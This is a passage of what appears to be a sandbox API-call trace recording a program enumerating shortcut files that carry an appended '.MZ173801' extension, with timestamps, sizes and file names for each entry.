dwReserved1=0xa03bf443, cFileName="J2iO.lnk.MZ173801", cAlternateFileName="J2IOLN~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf134c40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfca9620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x994938c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x9ae, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Jhr4VFCMaTe9.lnk.MZ173801", cAlternateFileName="JHR4VF~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee87380, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee87380, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x994938c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="jjAVl.lnk.MZ173801", cAlternateFileName="JJAVLL~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.582] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf5d16e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf5d16e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x994b9a20, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf6b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="jNKEP2BOP3Vd KvJnfp.lnk.MZ173801", cAlternateFileName="JNKEP2~1.MZ1")) returned 1 [0122.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.582] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8479c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8479c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x994dfb80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1a2b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="jS6DiLz01 X90l.lnk.MZ173801", cAlternateFileName="JS6DIL~1.MZ1")) returned 1 [0122.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.582] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf134c40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf134c40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99505ce0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="JxyaUKX_jiXZ.lnk.MZ173801", cAlternateFileName="JXYAUK~1.MZ1")) returned 1 [0122.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.582] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1bbd40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1bbd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99505ce0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="kS3GSrBHiMqpF.lnk.MZ173801", cAlternateFileName="KS3GSR~1.MZ1")) returned 1 [0122.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.582] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2b1a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf2b1a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9952be40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="KZAd5Ss.lnk.MZ173801", cAlternateFileName="KZAD5S~1.MZ1")) returned 1 [0122.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.582] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb56220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddb56220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99551fa0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="l06dSkIuNpZzb6PM.lnk.MZ173801", cAlternateFileName="L06DSK~1.MZ1")) returned 1 [0122.582] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.582] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.610] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc110a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc110a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99551fa0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x302, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="l5gwby9o.flv.lnk.MZ173801", cAlternateFileName="L5GWBY~1.MZ1")) returned 1 [0122.610] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.610] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.610] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf6b5f20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6b5f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9959e260, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x13bd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="lcH9zf19U.lnk.MZ173801", cAlternateFileName="LCH9ZF~1.MZ1")) returned 1 [0122.610] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.610] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.610] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1f3320, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1f3320, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x995ea520, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="LlEz.lnk.MZ173801", cAlternateFileName="LLEZLN~1.MZ1")) returned 1 [0122.610] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb8d800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeb8d800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x995ea520, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1a21, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="m2vN4t6vFdvq0RhOel.lnk.MZ173801", cAlternateFileName="M2VN4T~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7021e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7021e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9965c940, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="m9I N.lnk.MZ173801", cAlternateFileName="M9INLN~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde384dc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde384dc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99682aa0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="MeaOqsa9RRk c.flv.lnk.MZ173801", cAlternateFileName="MEAOQS~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde86db20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde86db20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x996a8c00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa5d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="MIlEcqTtx7JV xwb.lnk.MZ173801", cAlternateFileName="MILECQ~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd705a40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfcf58e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x996a8c00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Mr3PQACS.lnk.MZ173801", cAlternateFileName="MR3PQA~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4dba20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde4dba20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x996ced60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="MWrUzIRQCTgTLWF8I.lnk.MZ173801", cAlternateFileName="MWRUZI~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd66d4c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf728340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x996f4ec0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="My Music.lnk.MZ173801", cAlternateFileName="MYMUSI~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde338b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb78b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9971b020, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x54f, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="My Pictures.lnk.MZ173801", cAlternateFileName="MYPICT~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.611] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde821860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfae05a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99741180, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x539, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="My Videos.lnk.MZ173801", cAlternateFileName="MYVIDE~1.MZ1")) returned 1 [0122.611] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.611] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9637e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9637e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x997672e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="nbD-zxe0OSG.mkv.lnk.MZ173801", cAlternateFileName="NBD-ZX~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd967040, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd967040, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x997672e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="nKFbIyXhmf.ots.lnk.MZ173801", cAlternateFileName="NKFBIY~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded30720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf93d680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9978d440, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="NVl7TW99SiQl.lnk.MZ173801", cAlternateFileName="NVL7TW~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd373940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd41ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x997b35a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="ogiWVCr.lnk.MZ173801", cAlternateFileName="OGIWVC~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef6bbc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdef6bbc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x997d9700, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="orOhlbth5jzmFQ3SQWnK.lnk.MZ173801", cAlternateFileName="OROHLB~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc86d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddc86d20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x997ff860, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1465, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="osw2Nhv0uI-g.lnk.MZ173801", cAlternateFileName="OSW2NH~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd85c6a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc5d360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x997ff860, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x195d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="OW5FfS04iwdMwwKKq4E.lnk.MZ173801", cAlternateFileName="OW5FFS~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.612] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa48020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa48020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9984bb20, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="oxYAxNo4INQRTIT.lnk.MZ173801", cAlternateFileName="OXYAXN~1.MZ1")) returned 1 [0122.612] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.612] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, 